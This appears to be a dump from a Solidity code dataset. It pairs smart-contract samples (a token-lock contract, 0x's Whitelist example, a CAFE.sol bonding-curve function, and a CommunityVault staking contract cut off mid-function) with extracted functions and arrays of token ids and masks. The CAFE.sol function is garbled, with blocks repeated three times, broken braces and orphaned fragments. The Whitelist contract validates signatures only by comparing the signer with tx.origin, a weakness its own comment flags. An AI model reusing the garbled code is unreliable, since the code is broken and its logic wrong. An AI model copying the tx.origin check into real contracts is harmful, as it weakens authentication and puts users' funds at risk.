------------------------------------------------------------------------ // 8m locked balances for an account // ------------------------------------------------------------------------ function balanceOfLocked8M(address account) constant returns (uint balance) { return balancesLocked8M[account]; } // ------------------------------------------------------------------------ // 12m locked balances for an account // ------------------------------------------------------------------------ function balanceOfLocked12M(address account) constant returns (uint balance) { return balancesLocked12M[account]; } // ------------------------------------------------------------------------ // locked balances for an account // ------------------------------------------------------------------------ function balanceOfLocked(address account) constant returns (uint balance) { return balancesLocked6M[account].add(balancesLocked8M[account]).add(balancesLocked12M[account]); } // ------------------------------------------------------------------------ // locked total supply // ------------------------------------------------------------------------ function totalSupplyLocked() constant returns (uint) { return totalSupplyLocked6M + totalSupplyLocked8M + totalSupplyLocked12M; } // ------------------------------------------------------------------------ // An account can unlock their 6m locked tokens 6m after token launch date // ------------------------------------------------------------------------ function unlock6M() { require(now >= LOCKED_6M_DATE); uint amount = balancesLocked6M[msg.sender]; require(amount > 0); balancesLocked6M[msg.sender] = 0; totalSupplyLocked6M = totalSupplyLocked6M.sub(amount); require(tokenContract.transfer(msg.sender, amount)); } // ------------------------------------------------------------------------ // An account can unlock their 8m locked tokens 8m after token launch date // ------------------------------------------------------------------------ function unlock8M() { require(now >= LOCKED_8M_DATE); uint amount = balancesLocked8M[msg.sender]; require(amount > 0); balancesLocked8M[msg.sender] = 0; totalSupplyLocked8M = totalSupplyLocked8M.sub(amount); require(tokenContract.transfer(msg.sender, amount)); } // ------------------------------------------------------------------------ // An account can unlock their 12m locked tokens 12m after token launch date // ------------------------------------------------------------------------ function unlock12M() { require(now >= LOCKED_12M_DATE); uint amount = balancesLocked12M[msg.sender]; require(amount > 0); balancesLocked12M[msg.sender] = 0; totalSupplyLocked12M = totalSupplyLocked12M.sub(amount); require(tokenContract.transfer(msg.sender, amount)); } }
------------------------------------------------------------------------ locked total supply ------------------------------------------------------------------------
function totalSupplyLocked() constant returns (uint) { return totalSupplyLocked6M + totalSupplyLocked8M + totalSupplyLocked12M; }
1,823,851
[ 1, 29461, 8586, 2078, 14467, 8879, 17082, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2078, 3088, 1283, 8966, 1435, 5381, 1135, 261, 11890, 13, 288, 203, 3639, 327, 2078, 3088, 1283, 8966, 26, 49, 397, 2078, 3088, 1283, 8966, 28, 49, 397, 2078, 3088, 1283, 8966, 2138, 49, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.4.24; pragma experimental ABIEncoderV2; import "../../protocol/Exchange/interfaces/IExchange.sol"; import "@0x/contracts-libs/contracts/libs/LibOrder.sol"; import "@0x/contracts-utils/contracts/utils/Ownable/Ownable.sol"; contract Whitelist is Ownable { // Mapping of address => whitelist status. mapping (address => bool) public isWhitelisted; // Exchange contract. // solhint-disable var-name-mixedcase IExchange internal EXCHANGE; bytes internal TX_ORIGIN_SIGNATURE; // solhint-enable var-name-mixedcase byte constant internal VALIDATOR_SIGNATURE_BYTE = "\x05"; constructor (address _exchange) public { EXCHANGE = IExchange(_exchange); TX_ORIGIN_SIGNATURE = abi.encodePacked(address(this), VALIDATOR_SIGNATURE_BYTE); } /// @dev Adds or removes an address from the whitelist. /// @param target Address to add or remove from whitelist. /// @param isApproved Whitelist status to assign to address. function updateWhitelistStatus( address target, bool isApproved ) external onlyOwner { isWhitelisted[target] = isApproved; } /// @dev Verifies signer is same as signer of current Ethereum transaction. /// NOTE: This function can currently be used to validate signatures coming from outside of this contract. /// Extra safety checks can be added for a production contract. /// @param signerAddress Address that should have signed the given hash. /// @param signature Proof of signing. /// @return Validity of order signature. // solhint-disable no-unused-vars function isValidSignature( bytes32 hash, address signerAddress, bytes signature ) external view returns (bool isValid) { // solhint-disable-next-line avoid-tx-origin return signerAddress == tx.origin; } // solhint-enable no-unused-vars /// @dev Fills an order using `msg.sender` as the taker. /// The transaction will revert if both the maker and taker are not whitelisted. /// Orders should specify this contract as the `senderAddress` in order to gaurantee /// that both maker and taker have been whitelisted. /// @param order Order struct containing order specifications. /// @param takerAssetFillAmount Desired amount of takerAsset to sell. /// @param salt Arbitrary value to gaurantee uniqueness of 0x transaction hash. /// @param orderSignature Proof that order has been created by maker. function fillOrderIfWhitelisted( LibOrder.Order memory order, uint256 takerAssetFillAmount, uint256 salt, bytes memory orderSignature ) public { address takerAddress = msg.sender; // This contract must be the entry point for the transaction. require( // solhint-disable-next-line avoid-tx-origin takerAddress == tx.origin, "INVALID_SENDER" ); // Check if maker is on the whitelist. require( isWhitelisted[order.makerAddress], "MAKER_NOT_WHITELISTED" ); // Check if taker is on the whitelist. require( isWhitelisted[takerAddress], "TAKER_NOT_WHITELISTED" ); // Encode arguments into byte array. bytes memory data = abi.encodeWithSelector( EXCHANGE.fillOrder.selector, order, takerAssetFillAmount, orderSignature ); // Call `fillOrder` via `executeTransaction`. EXCHANGE.executeTransaction( salt, takerAddress, data, TX_ORIGIN_SIGNATURE ); } }
@dev Verifies signer is same as signer of current Ethereum transaction. NOTE: This function can currently be used to validate signatures coming from outside of this contract. Extra safety checks can be added for a production contract. @param signerAddress Address that should have signed the given hash. @param signature Proof of signing. @return Validity of order signature. solhint-disable no-unused-vars solhint-disable-next-line avoid-tx-origin
function isValidSignature( bytes32 hash, address signerAddress, bytes signature ) external view returns (bool isValid) { return signerAddress == tx.origin; }
7,315,284
[ 1, 19802, 10363, 353, 1967, 487, 10363, 434, 783, 512, 18664, 379, 2492, 18, 1377, 5219, 30, 1220, 445, 848, 4551, 506, 1399, 358, 1954, 14862, 19283, 628, 8220, 434, 333, 6835, 18, 1377, 13592, 24179, 4271, 848, 506, 3096, 364, 279, 12449, 6835, 18, 225, 10363, 1887, 5267, 716, 1410, 1240, 6726, 326, 864, 1651, 18, 225, 3372, 1186, 792, 434, 10611, 18, 327, 2364, 560, 434, 1353, 3372, 18, 3704, 11317, 17, 8394, 1158, 17, 14375, 17, 4699, 3704, 11317, 17, 8394, 17, 4285, 17, 1369, 4543, 17, 978, 17, 10012, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 4908, 5374, 12, 203, 3639, 1731, 1578, 1651, 16, 203, 3639, 1758, 10363, 1887, 16, 203, 3639, 1731, 3372, 203, 565, 262, 203, 3639, 3903, 203, 3639, 1476, 203, 3639, 1135, 261, 6430, 4908, 13, 203, 565, 288, 203, 3639, 327, 10363, 1887, 422, 2229, 18, 10012, 31, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/4/0x7337175eCbC36db4838dFF57d3620814EAc96993/sources/CAFE.sol
@notice Calculate how many FAIR tokens you would buy with the given amount of currency if `buy` was called now. @param _currencyValue How much currency to spend in order to buy FAIR.
{ function _distributeInvestment( uint _value ) internal } function estimateBuyValue( uint _currencyValue ) public view returns(uint) if(_currencyValue < minInvestment){ return 0; } if(state == STATE_INIT){ uint currencyValue = _currencyValue; uint _totalSupply = totalSupply(); uint max = BigDiv.bigDiv2x1( initGoal * buySlopeNum, initGoal - _totalSupply + stakeholdersPoolIssued, buySlopeDen ); if(currencyValue > max) { currencyValue = max; } uint256 tokenAmount = BigDiv.bigDiv2x1( currencyValue, buySlopeDen, initGoal * buySlopeNum ); if(currencyValue != _currencyValue) { currencyValue = _currencyValue - max; uint temp = 2 * buySlopeDen; currencyValue = temp.mul(currencyValue); temp = initGoal; temp *= temp; temp = temp.mul(buySlopeNum); temp = currencyValue.add(temp); temp /= buySlopeNum; temp = temp.sqrt(); temp -= initGoal; tokenAmount = tokenAmount.add(temp); } return tokenAmount; } uint supply = totalSupply() - stakeholdersPoolIssued; uint fundraisedAmount; if(state == STATE_INIT){ uint currencyValue = _currencyValue; uint _totalSupply = totalSupply(); uint max = BigDiv.bigDiv2x1( initGoal * buySlopeNum, initGoal - _totalSupply + stakeholdersPoolIssued, buySlopeDen ); if(currencyValue > max) { currencyValue = max; } uint256 tokenAmount = BigDiv.bigDiv2x1( currencyValue, buySlopeDen, initGoal * buySlopeNum ); if(currencyValue != _currencyValue) { currencyValue = _currencyValue - max; uint temp = 2 * buySlopeDen; currencyValue = temp.mul(currencyValue); temp = initGoal; temp *= temp; temp = temp.mul(buySlopeNum); temp = currencyValue.add(temp); temp /= buySlopeNum; temp = temp.sqrt(); temp -= initGoal; tokenAmount = tokenAmount.add(temp); } return tokenAmount; } uint supply = totalSupply() - stakeholdersPoolIssued; uint fundraisedAmount; if(state == STATE_INIT){ uint currencyValue = _currencyValue; uint _totalSupply = totalSupply(); uint max = BigDiv.bigDiv2x1( initGoal * buySlopeNum, initGoal - _totalSupply + stakeholdersPoolIssued, buySlopeDen ); if(currencyValue > max) { currencyValue = max; } uint256 tokenAmount = BigDiv.bigDiv2x1( currencyValue, buySlopeDen, initGoal * buySlopeNum ); if(currencyValue != _currencyValue) { currencyValue = _currencyValue - max; uint temp = 2 * buySlopeDen; currencyValue = temp.mul(currencyValue); temp = initGoal; temp *= temp; temp = temp.mul(buySlopeNum); temp = currencyValue.add(temp); temp /= buySlopeNum; temp = temp.sqrt(); temp -= initGoal; tokenAmount = tokenAmount.add(temp); } return tokenAmount; } uint supply = totalSupply() - stakeholdersPoolIssued; uint fundraisedAmount; uint currencyValue = _currencyValue; if(fundraisingGoal > 0){ uint max = BigDiv.bigDiv2x1( supply, fundraisingGoal * buySlopeNum, buySlopeDen ); if(currencyValue > max){ currencyValue = max; } fundraisedAmount = BigDiv.bigDiv2x2( currencyValue, buySlopeDen, supply, buySlopeNum ); } currencyValue, 2 * buySlopeDen, buySlopeNum ); tokenAmount = tokenAmount.sqrt(); return fundraisedAmount.add(tokenAmount); return 0; if(fundraisingGoal > 0){ uint max = BigDiv.bigDiv2x1( supply, fundraisingGoal * buySlopeNum, buySlopeDen ); if(currencyValue > max){ currencyValue = max; } fundraisedAmount = BigDiv.bigDiv2x2( currencyValue, buySlopeDen, supply, buySlopeNum ); } currencyValue, 2 * buySlopeDen, buySlopeNum ); tokenAmount = tokenAmount.sqrt(); return fundraisedAmount.add(tokenAmount); return 0; currencyValue = _currencyValue - currencyValue; uint tokenAmount = BigDiv.bigDiv2x1( tokenAmount = tokenAmount.add(supply * supply); tokenAmount = tokenAmount.sub(supply); } else { }
8,501,589
[ 1, 8695, 3661, 4906, 15064, 7937, 2430, 1846, 4102, 30143, 598, 326, 864, 3844, 434, 5462, 309, 1375, 70, 9835, 68, 1703, 2566, 2037, 18, 225, 389, 7095, 620, 9017, 9816, 5462, 358, 17571, 316, 1353, 358, 30143, 15064, 7937, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 288, 203, 225, 445, 389, 2251, 887, 3605, 395, 475, 12, 203, 565, 2254, 389, 1132, 203, 225, 262, 2713, 203, 225, 289, 203, 203, 225, 445, 11108, 38, 9835, 620, 12, 203, 565, 2254, 389, 7095, 620, 203, 225, 262, 1071, 1476, 203, 225, 1135, 12, 11890, 13, 203, 565, 309, 24899, 7095, 620, 411, 1131, 3605, 395, 475, 15329, 203, 1377, 327, 374, 31, 203, 565, 289, 203, 565, 309, 12, 2019, 422, 7442, 67, 12919, 15329, 203, 1377, 2254, 5462, 620, 273, 389, 7095, 620, 31, 203, 1377, 2254, 389, 4963, 3088, 1283, 273, 2078, 3088, 1283, 5621, 203, 1377, 2254, 943, 273, 4454, 7244, 18, 14002, 7244, 22, 92, 21, 12, 203, 3639, 1208, 27716, 380, 30143, 55, 12232, 2578, 16, 203, 3639, 1208, 27716, 300, 389, 4963, 3088, 1283, 397, 384, 911, 9000, 2864, 7568, 5957, 16, 203, 3639, 30143, 55, 12232, 8517, 203, 1377, 11272, 203, 203, 1377, 309, 12, 7095, 620, 405, 943, 13, 203, 1377, 288, 203, 3639, 5462, 620, 273, 943, 31, 203, 1377, 289, 203, 203, 1377, 2254, 5034, 1147, 6275, 273, 4454, 7244, 18, 14002, 7244, 22, 92, 21, 12, 203, 3639, 5462, 620, 16, 203, 3639, 30143, 55, 12232, 8517, 16, 203, 3639, 1208, 27716, 380, 30143, 55, 12232, 2578, 203, 1377, 11272, 203, 1377, 309, 12, 7095, 620, 480, 389, 7095, 620, 13, 203, 1377, 288, 203, 3639, 5462, 620, 273, 389, 7095, 620, 300, 943, 31, 203, 203, 3639, 2254, 1906, 273, 576, 380, 30143, 55, 12232, 8517, 31, 2 ]
pragma solidity ^0.5.16; pragma experimental ABIEncoderV2; import "../Vault/Utils/ECDSA.sol"; import "../Vault/Utils/SafeBEP20.sol"; import "../Vault/Utils/IBEP20.sol"; import "./CommunityVaultProxy.sol"; import "./CommunityVaultStorage.sol"; import "./CommunityVaultErrorReporter.sol"; interface ICommunityStore { function safeRewardTransfer(address _token, address _to, uint256 _amount) external; function setRewardToken(address _tokenAddress, bool status) external; } contract CommunityVault is CommunityVaultStorage, ECDSA { using SafeMath for uint256; using SafeBEP20 for IBEP20; /// @notice Event emitted when deposit event Deposit(address indexed user, address indexed rewardToken, uint256 indexed pid, uint256 amount); /// @notice Event emitted when execute withrawal event ExecutedWithdrawal(address indexed user, address indexed rewardToken, uint256 indexed pid, uint256 amount); /// @notice Event emitted when request withrawal event ReqestedWithdrawal(address indexed user, address indexed rewardToken, uint256 indexed pid, uint256 amount); /// @notice Event emitted when admin changed event AdminTransferred(address indexed oldAdmin, address indexed newAdmin); /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /// @notice An event emitted when the reward store address is updated event StoreUpdated(address oldAtlantis, address oldStore, address newAtlantis, address newStore); /// @notice An event emitted when the withdrawal locking period is updated for a pool event WithdrawalLockingPeriodUpdated( address indexed rewardToken, uint indexed pid, uint oldPeriod, uint newPeriod ); /// @notice An event emitted when the reward amount per block is modified for a pool event RewardAmountUpdated(address indexed rewardToken, uint oldReward, uint newReward); /// @notice An event emitted when a new pool is added event PoolAdded( address indexed rewardToken, uint indexed pid, address indexed token, uint allocPoints, uint rewardPerBlock, uint lockPeriod ); /// @notice An event emitted when a pool allocation points are updated event PoolUpdated( address indexed rewardToken, uint indexed pid, uint oldAllocPoints, uint newAllocPoints ); constructor() public { admin = msg.sender; } modifier onlyAdmin() { require(msg.sender == admin, "only admin can"); _; } /** * @dev Prevents a contract from calling itself, directly or indirectly. */ modifier nonReentrant() { require(_notEntered, "re-entered"); _notEntered = false; _; _notEntered = true; // get a gas-refund post-Istanbul } function poolLength(address rewardToken) external view returns (uint256) { return poolInfos[rewardToken].length; } /** * @notice Add a new token pool. Can only be called by the admin. * @dev This vault DOES NOT support deflationary tokens — it expects that * the amount of transferred tokens would equal the actually deposited * amount. In practice this means that this vault DOES NOT support USDT * and similar tokens (that do not provide these guarantees). */ function add( address _rewardToken, uint256 _allocPoint, IBEP20 _token, uint256 _rewardPerBlock, uint256 _lockPeriod ) external onlyAdmin { require(address(communityStore) != address(0), "Store contract addres is empty"); massUpdatePools(_rewardToken); PoolInfo[] storage poolInfo = poolInfos[_rewardToken]; uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { require(poolInfo[pid].token != _token, "Error pool already added"); } totalAllocPoints[_rewardToken] = totalAllocPoints[_rewardToken].add(_allocPoint); rewardTokenAmountsPerBlock[_rewardToken] = _rewardPerBlock; poolInfo.push( PoolInfo({ token: _token, allocPoint: _allocPoint, lastRewardBlock: block.number, accRewardPerShare: 0, lockPeriod: _lockPeriod }) ); ICommunityStore(communityStore).setRewardToken(_rewardToken, true); emit PoolAdded( _rewardToken, poolInfo.length - 1, address(_token), _allocPoint, _rewardPerBlock, _lockPeriod ); } // Update the given pool's reward allocation point. Can only be called by the admin. function set( address _rewardToken, uint256 _pid, uint256 _allocPoint ) external onlyAdmin { _ensureValidPool(_rewardToken, _pid); massUpdatePools(_rewardToken); PoolInfo[] storage poolInfo = poolInfos[_rewardToken]; totalAllocPoints[_rewardToken] = totalAllocPoints[_rewardToken].sub(poolInfo[_pid].allocPoint).add( _allocPoint ); uint256 oldAllocPoints = poolInfo[_pid].allocPoint; poolInfo[_pid].allocPoint = _allocPoint; emit PoolUpdated(_rewardToken, _pid, oldAllocPoints, _allocPoint); } // Update the given reward token's amount per block function setRewardAmountPerBlock( address _rewardToken, uint256 _rewardAmount ) external onlyAdmin { massUpdatePools(_rewardToken); uint256 oldReward = rewardTokenAmountsPerBlock[_rewardToken]; rewardTokenAmountsPerBlock[_rewardToken] = _rewardAmount; emit RewardAmountUpdated(_rewardToken, oldReward, _rewardAmount); } // Update the given reward token's amount per block function setWithdrawalLockingPeriod( address _rewardToken, uint256 _pid, uint256 _newPeriod ) external onlyAdmin { _ensureValidPool(_rewardToken, _pid); require(_newPeriod > 0, "Invalid new locking period"); PoolInfo storage pool = poolInfos[_rewardToken][_pid]; uint256 oldPeriod = pool.lockPeriod; pool.lockPeriod = _newPeriod; emit WithdrawalLockingPeriodUpdated(_rewardToken, _pid, oldPeriod, _newPeriod); } /** * @notice Deposit CommunityVault for Atlantis allocation * @param _rewardToken The Reward Token Address * @param _pid The Pool Index * @param _amount The amount to deposit to vault */ function deposit(address _rewardToken, uint256 _pid, uint256 _amount) external nonReentrant { _ensureValidPool(_rewardToken, _pid); PoolInfo storage pool = poolInfos[_rewardToken][_pid]; UserInfo storage user = userInfos[_rewardToken][_pid][msg.sender]; _updatePool(_rewardToken, _pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accRewardPerShare).div(1e12).sub( user.rewardDebt ); ICommunityStore(communityStore).safeRewardTransfer(_rewardToken, msg.sender, pending); } pool.token.safeTransferFrom( address(msg.sender), address(this), _amount ); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accRewardPerShare).div(1e12); // Update Delegate Amount if (address(pool.token) == address(atlantisAddress)) { uint256 updatedAmount = user.amount.sub(user.pendingWithdrawals); _updateDelegate(address(msg.sender), uint96(updatedAmount)); } emit Deposit(msg.sender, _rewardToken, _pid, _amount); } /** * @notice Pushes withdrawal request to the requests array and updates * the pending withdrawals amount. The requests are always sorted * by unlock time (descending) so that the earliest to execute requests * are always at the end of the array. * @param _user The user struct storage pointer * @param _requests The user's requests array storage pointer * @param _amount The amount being requested */ function pushWithdrawalRequest( UserInfo storage _user, WithdrawalRequest[] storage _requests, uint _amount, uint _lockedUntil ) internal { uint i = _requests.length; _requests.push(WithdrawalRequest(0, 0)); // Keep it sorted so that the first to get unlocked request is always at the end for (; i > 0 && _requests[i - 1].lockedUntil <= _lockedUntil; --i) { _requests[i] = _requests[i - 1]; } _requests[i] = WithdrawalRequest(_amount, _lockedUntil); _user.pendingWithdrawals = _user.pendingWithdrawals.add(_amount); } /** * @notice Pops the requests with unlock time < now from the requests * array and deducts the computed amount from the user's pending * withdrawals counter. Assumes that the requests array is sorted * by unclock time (descending). * @dev This function **removes** the eligible requests from the requests * array. If this function is called, the withdrawal should actually * happen (or the transaction should be reverted). * @param _user The user struct storage pointer * @param _requests The user's requests array storage pointer * @return The amount eligible for withdrawal (this amount should be * sent to the user, otherwise the state would be inconsistent). */ function popEligibleWithdrawalRequests( UserInfo storage _user, WithdrawalRequest[] storage _requests ) internal returns (uint withdrawalAmount) { // Since the requests are sorted by their unlock time, we can just // pop them from the array and stop at the first not-yet-eligible one for (uint i = _requests.length; i > 0 && isUnlocked(_requests[i - 1]); --i) { withdrawalAmount = withdrawalAmount.add(_requests[i - 1].amount); _requests.pop(); } _user.pendingWithdrawals = _user.pendingWithdrawals.sub(withdrawalAmount); return withdrawalAmount; } /** * @notice Checks if the request is eligible for withdrawal. * @param _request The request struct storage pointer * @return True if the request is eligible for withdrawal, false otherwise */ function isUnlocked(WithdrawalRequest storage _request) private view returns (bool) { return _request.lockedUntil <= block.timestamp; } /** * @notice Execute withdrawal to CommunityVault for Atlantis allocation * @param _rewardToken The Reward Token Address * @param _pid The Pool Index */ function executeWithdrawal(address _rewardToken, uint256 _pid) external nonReentrant { _ensureValidPool(_rewardToken, _pid); PoolInfo storage pool = poolInfos[_rewardToken][_pid]; UserInfo storage user = userInfos[_rewardToken][_pid][msg.sender]; WithdrawalRequest[] storage requests = withdrawalRequests[_rewardToken][_pid][msg.sender]; uint256 _amount = popEligibleWithdrawalRequests(user, requests); require(_amount > 0, "nothing to withdraw"); _updatePool(_rewardToken, _pid); uint256 pending = user.amount.mul(pool.accRewardPerShare).div(1e12).sub( user.rewardDebt ); ICommunityStore(communityStore).safeRewardTransfer(_rewardToken, msg.sender, pending); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accRewardPerShare).div(1e12); pool.token.safeTransfer(address(msg.sender), _amount); emit ExecutedWithdrawal(msg.sender, _rewardToken, _pid, _amount); } /** * @notice Request withdrawal to CommunityVault for Atlantis allocation * @param _rewardToken The Reward Token Address * @param _pid The Pool Index * @param _amount The amount to withdraw to vault */ function requestWithdrawal(address _rewardToken, uint256 _pid, uint256 _amount) external nonReentrant { _ensureValidPool(_rewardToken, _pid); require(_amount > 0, "requested amount cannot be zero"); UserInfo storage user = userInfos[_rewardToken][_pid][msg.sender]; require(user.amount >= user.pendingWithdrawals.add(_amount), "requested amount is invalid"); PoolInfo storage pool = poolInfos[_rewardToken][_pid]; WithdrawalRequest[] storage requests = withdrawalRequests[_rewardToken][_pid][msg.sender]; uint lockedUntil = pool.lockPeriod.add(block.timestamp); pushWithdrawalRequest(user, requests, _amount, lockedUntil); // Update Delegate Amount if (_rewardToken == address(atlantisAddress)) { uint256 updatedAmount = user.amount.sub(user.pendingWithdrawals); _updateDelegate(address(msg.sender), uint96(updatedAmount)); } emit ReqestedWithdrawal(msg.sender, _rewardToken, _pid, _amount); } /** * @notice Get unlocked withdrawal amount * @param _rewardToken The Reward Token Address * @param _pid The Pool Index * @param _user The User Address */ function getEligibleWithdrawalAmount(address _rewardToken, uint256 _pid, address _user) external view returns (uint withdrawalAmount) { _ensureValidPool(_rewardToken, _pid); WithdrawalRequest[] storage requests = withdrawalRequests[_rewardToken][_pid][_user]; // Since the requests are sorted by their unlock time, we can take // the entries from the end of the array and stop at the first // not-yet-eligible one for (uint i = requests.length; i > 0 && isUnlocked(requests[i - 1]); --i) { withdrawalAmount = withdrawalAmount.add(requests[i - 1].amount); } return withdrawalAmount; } /** * @notice Get requested amount * @param _rewardToken The Reward Token Address * @param _pid The Pool Index * @param _user The User Address */ function getRequestedAmount(address _rewardToken, uint256 _pid, address _user) external view returns (uint256) { _ensureValidPool(_rewardToken, _pid); UserInfo storage user = userInfos[_rewardToken][_pid][_user]; return 